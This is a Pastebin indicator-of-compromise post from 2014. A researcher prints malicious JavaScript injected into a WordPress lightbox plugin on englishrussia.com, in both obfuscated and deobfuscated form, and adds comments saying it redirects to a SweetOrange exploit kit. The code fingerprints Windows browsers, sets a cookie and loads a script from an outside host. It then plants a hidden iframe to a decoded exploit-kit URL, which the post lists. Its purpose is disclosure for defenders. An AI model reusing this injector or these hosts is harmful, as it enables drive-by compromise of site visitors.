API tools faq
paste
Advertisement
malwageddon

IOC - englishrussia.com

malwageddon
Aug 25th, 2014
277
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 8.94 KB | None | 0 0
raw download clone embed print report
  1. //JS at 'englishrussia.com/wp-content/plugins/wp-lightbox-2/wp-lightbox-2.min.js?ver=1.3.4.1' appears to have a malicious code injected into it. Obfuscated version of it is below:
  2.  
  3. /* mQhs3jK7CAwjdskypw */
  4. var OCeuBmV = "u\x73eri\x64A\x308\x317F\x422\x35";
  5. var F9lBnCy = "28";
  6. var nhKNRj = 1;
  7.  
  8. function Vb1gC(qb_cD) {
  9.     var C5prmo4 = document.cookie.replace(/\s/g, "").split(";");
  10.     for (var OytUL = 0; OytUL < C5prmo4.length; OytUL++) {
  11.         var c2uijl = C5prmo4[OytUL].split("=");
  12.         if (c2uijl[0] == qb_cD) {
  13.             return unescape(c2uijl[1]);
  14.         }
  15.     }
  16.     return null;
  17. };
  18.  
  19. function AVJqAVz(qb_cD, y98VeNE, d19agzK) {
  20.     var Euyoazm = new Date();
  21.     var ySrd1w = Euyoazm.getTime() + (d19agzK * 60 * 60 * 1000);
  22.     Euyoazm.setTime(ySrd1w);
  23.     var jEfzry = qb_cD + "=" + escape(y98VeNE) + "\x3b \x65xpi\x72e\x73=" + Euyoazm.toGMTString() + ";\x20d\x6f\x6d\x61in=" + document.domain;
  24.     document.cookie = jEfzry;
  25. };
  26.  
  27. function a84gVF() {
  28.     AVJqAVz(OCeuBmV, F9lBnCy, 48);
  29. };
  30.  
  31. function Id_KxqK() {
  32.     try {
  33.         rso83L = "K\x6bK\x46O\x6fo\x4f0cd\x32";
  34.         if (jquery_datepicker.length == 0) {
  35.             AVJqAVz(OCeuBmV, F9lBnCy, 48);
  36.             return;
  37.         }
  38.         try {
  39.             if (document.getElementById(rso83L)) {
  40.                 document.getElementById(rso83L).parentNode.removeChild(document.getElementById(rso83L));
  41.             }
  42.         } catch (D1j_F) {};
  43.         var NsfjEAw = unescape(jquery_datepicker.replace(/[g-zG-Z]+/g, "").replace(/[=\-!@$;.,]+/g, "%"));
  44.         var EAUGdKk = document.createElement("\x44\x49V");
  45.         EAUGdKk.id = rso83L;
  46.         EAUGdKk.style.cssText = "\x70o\x73ition\x3a\x61b\x73olut\x65\x3bl\x65f\x74:0px;to\x70\x3a\x3200\x70\x78;opacit\x79\x3a\x30;\x66i\x6ct\x65\x72:al\x70\x68a(\x6fpacity=0);";
  47.         EAUGdKk.innerHTML = "<i\x66\x72\x61m\x65\x20onlo\x61d=\x27\x61\x384gVF(\x29;\x27 src=\x27" + NsfjEAw + "' \x77i\x64th\x3d1\x39\x20h\x65igh\x74=19 f\x72amebor\x64er\x3d0 \x73\x63ro\x6c\x6c\x69n\x67=\x27\x6e\x6f\x27\x3e</iframe>";
  48.         document.body.appendChild(EAUGdKk);
  49.     } catch (D1j_F) {
  50.         setTimeout("I\x64\x5f\x4bxqK\x28)", 300);
  51.     }
  52. };
  53.  
  54. function Ayno8c() {
  55.     var NEoykFv, GJ0_Ci = "KHn\x63\x64u2\x64\x6534\x33";
  56.     try {
  57.         if (document.getElementById(GJ0_Ci)) {
  58.             document.getElementById(GJ0_Ci).parentNode.removeChild(document.getElementById(GJ0_Ci));
  59.         }
  60.         NEoykFv = document.createElement("\x53C\x52\x49PT");
  61.         NEoykFv.type = "te\x78\x74\x2fjav\x61\x73cri\x70t";
  62.         NEoykFv.id = GJ0_Ci;
  63.         if (NEoykFv.readyState) {
  64.             NEoykFv.onreadystatechange = function() {
  65.                 if (this.readyState == "\x6coa\x64e\x64" || this.readyState == "com\x70\x6c\x65te") {
  66.                     NEoykFv.onreadystatechange = null;
  67.                     Id_KxqK();
  68.                 }
  69.             };
  70.         } else {
  71.             NEoykFv.onload = function() {
  72.                 Id_KxqK();
  73.             };
  74.         }
  75.         NEoykFv.src = "htt\x70\x3a/\x2fsrc.s\x61\x6edcastle\x73m\x61g\x61z\x69n\x65.\x63o\x6d/k\x3f\x74=" + Math.floor(Math.random() * 4294967295);
  76.         if (document.getElementsByTagName("\x68ea\x64").length > 0) {
  77.             document.getElementsByTagName("he\x61\x64")[0].appendChild(NEoykFv);
  78.         } else {
  79.             document.getElementsByTagName("b\x6f\x64y")[0].appendChild(NEoykFv);
  80.         }
  81.     } catch (D1j_F) {
  82.         setTimeout("\x41yno8c\x28\x29", 300);
  83.     }
  84. };
  85.  
  86. function frj30E0() {
  87.     var d3rps = navigator.userAgent;
  88.     var GaumwD = 0;
  89.     if (d3rps.indexOf("W\x69n\x64o\x77s") == -1 || (d3rps.indexOf("\x4dSI\x45") == -1 && d3rps.indexOf("\x47e\x63\x6bo/") == -1 && d3rps.indexOf("T\x72i\x64\x65nt") == -1)) {
  90.         return 0;
  91.     }
  92.     try {
  93.         if (nhKNRj) {
  94.             try {
  95.                 if (Vb1gC(OCeuBmV) == F9lBnCy) {
  96.                     return false;
  97.                 }
  98.             } catch (D1j_F) {};
  99.         }
  100.         if (d3rps.indexOf("M\x53I\x45") != -1 || d3rps.indexOf("Tr\x69de\x6e\x74") != -1) {
  101.             try {
  102.                 GaumwD = oxcstI2();
  103.  
  104.                 function oxcstI2() {
  105.                     return 0;
  106.                 }
  107.             } catch (D1j_F) {
  108.                 GaumwD = 1;
  109.             }
  110.         }
  111.     } catch (D1j_F) {};
  112.     if (GaumwD == 0) {
  113.         Ayno8c();
  114.     }
  115. };
  116. frj30E0(); /* 8427hUmyiqmPCbR1oU */
  117.  
  118. //Deobfuscated version:
  119.  
  120. /* mQhs3jK7CAwjdskypw */
  121. var OCeuBmV = "useridA0817FB25";
  122. var F9lBnCy = "28";
  123. var nhKNRj = 1;
  124.  
  125. function Vb1gC(qb_cD) {
  126.     var C5prmo4 = document.cookie.replace(/s/g, "").split(";");
  127.     for (var OytUL = 0; OytUL < C5prmo4.length; OytUL++) {
  128.         var c2uijl = C5prmo4[OytUL].split("=");
  129.         if (c2uijl[0] == qb_cD) {
  130.             return unescape(c2uijl[1]);
  131.         }
  132.     }
  133.     return null;
  134. };
  135.  
  136. function AVJqAVz(qb_cD, y98VeNE, d19agzK) {
  137.     var Euyoazm = new Date();
  138.     var ySrd1w = Euyoazm.getTime() + (d19agzK * 60 * 60 * 1000);
  139.     Euyoazm.setTime(ySrd1w);
  140.     var jEfzry = qb_cD + "=" + escape(y98VeNE) + "; expires=" + Euyoazm.toGMTString() + "; domain=" + document.domain;
  141.     document.cookie = jEfzry;
  142. };
  143.  
  144. function a84gVF() {
  145.     AVJqAVz(OCeuBmV, F9lBnCy, 48);
  146. };
  147.  
  148. function Id_KxqK() {
  149.     try {
  150.         rso83L = "KkKFOooO0cd2";
  151.         if (jquery_datepicker.length == 0) {
  152.             AVJqAVz(OCeuBmV, F9lBnCy, 48);
  153.             return;
  154.         }
  155.         try {
  156.             if (document.getElementById(rso83L)) {
  157.                 document.getElementById(rso83L).parentNode.removeChild(document.getElementById(rso83L));
  158.             }
  159.         } catch (D1j_F) {};
  160.         var NsfjEAw = unescape(jquery_datepicker.replace(/[g-zG-Z]+/g, "").replace(/[=-!@$;.,]+/g, "%"));
  161.         var EAUGdKk = document.createElement("DIV");
  162.         EAUGdKk.id = rso83L;
  163.         EAUGdKk.style.cssText = "position:absolute;left:0px;top:200px;opacity:0;filter:alpha(opacity=0);";
  164.         EAUGdKk.innerHTML = "<iframe onload='a84gVF();' src='" + NsfjEAw + "\"width = 19 height = 19 frameborder = 0 scrolling = 'no' > < /iframe>";
  165.         document.body.appendChild(EAUGdKk);
  166.     } catch (D1j_F) {
  167.         setTimeout("Id_KxqK()", 300);
  168.     }
  169. };
  170.  
  171. function Ayno8c() {
  172.     var NEoykFv, GJ0_Ci = "KHncdu2de343";
  173.     try {
  174.         if (document.getElementById(GJ0_Ci)) {
  175.             document.getElementById(GJ0_Ci).parentNode.removeChild(document.getElementById(GJ0_Ci));
  176.         }
  177.         NEoykFv = document.createElement("SCRIPT");
  178.         NEoykFv.type = "text/javascript";
  179.         NEoykFv.id = GJ0_Ci;
  180.         if (NEoykFv.readyState) {
  181.             NEoykFv.onreadystatechange = function() {
  182.                 if (this.readyState == " loaded " || this.readyState == " complete ") {
  183.                     NEoykFv.onreadystatechange = null;
  184.                     Id_KxqK();
  185.                 }
  186.             };
  187.         } else {
  188.             NEoykFv.onload = function() {
  189.                 Id_KxqK();
  190.             };
  191.         }
  192.         NEoykFv.src = "http: //src.sandcastlesmagazine.com/k?t=" + Math.floor(Math.random() * 4294967295);
  193.         if (document.getElementsByTagName("head").length > 0) {
  194.             document.getElementsByTagName("head")[0].appendChild(NEoykFv);
  195.         } else {
  196.             document.getElementsByTagName("body")[0].appendChild(NEoykFv);
  197.         }
  198.     } catch (D1j_F) {
  199.         setTimeout("Ayno8c()", 300);
  200.     }
  201. };
  202.  
  203. function frj30E0() {
  204.     var d3rps = navigator.userAgent;
  205.     var GaumwD = 0;
  206.     if (d3rps.indexOf("Windows") == -1 || (d3rps.indexOf("MSIE") == -1 && d3rps.indexOf("Gecko/") == -1 && d3rps.indexOf("Trident") == -1)) {
  207.         return 0;
  208.     }
  209.     try {
  210.         if (nhKNRj) {
  211.             try {
  212.                 if (Vb1gC(OCeuBmV) == F9lBnCy) {
  213.                     return false;
  214.                 }
  215.             } catch (D1j_F) {};
  216.         }
  217.         if (d3rps.indexOf("MSIE") != -1 || d3rps.indexOf("Trident") != -1) {
  218.             try {
  219.                 GaumwD = oxcstI2();
  220.  
  221.                 function oxcstI2() {
  222.                     return 0;
  223.                 }
  224.             } catch (D1j_F) {
  225.                 GaumwD = 1;
  226.             }
  227.         }
  228.     } catch (D1j_F) {};
  229.     if (GaumwD == 0) {
  230.         Ayno8c();
  231.     }
  232. };
  233. frj30E0(); /* 8427hUmyiqmPCbR1oU */
  234.  
  235. // The script will do 2 things: 1) generate a GET request to 'src.sandcastlesmagazine.com/k?t=1260953298'; 2) Decode received data and redirect to SweetOrange EK landing page
  236.  
  237. // Encoded data returned by 'src.sandcastlesmagazine.com'
  238.  
  239. var jquery_datepicker='W;6o8!7g4@t74T;70;3Laz.2fH.G2fU,I63;6N4n-Q6te;35$2e;7Y3I,7V7V;Z6R5$Y6o5M=z7J4P;P6S9=l7J0@R2oel!U7J5$6b,2Kez@6J3!6f-g6d;3nag@3G1W!3v6!N31l@U32;32=T2xfs!h70N$72i-6f-64,j75@63k$r74!73;T2fP.u73-79Q-73;7P4J;65@l6d@5Ofl=61.R64h@6d;6U9=I6he;p6k9=v7w3u$74v,q7u2,6g1R=M74I;6n9$J6f$g6Pe-2fs,6S3w@h6o1r,6Zc.o6mc$r2Lf-s73,74q!6p1y-72;v6o7@6l1Q,U6gc-61-78-Z79Q!w2e,n7G0-6j8t,7o0$3Vf@6e,h6T5-z6S2=L75$6gc;m61,3d,u3N3';
  240.  
  241. // Decoded data
  242.  
  243. http://cdn5.sweetip.uk.com:16122/products/system_administration/call/stargalaxy.php?nebula=3
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!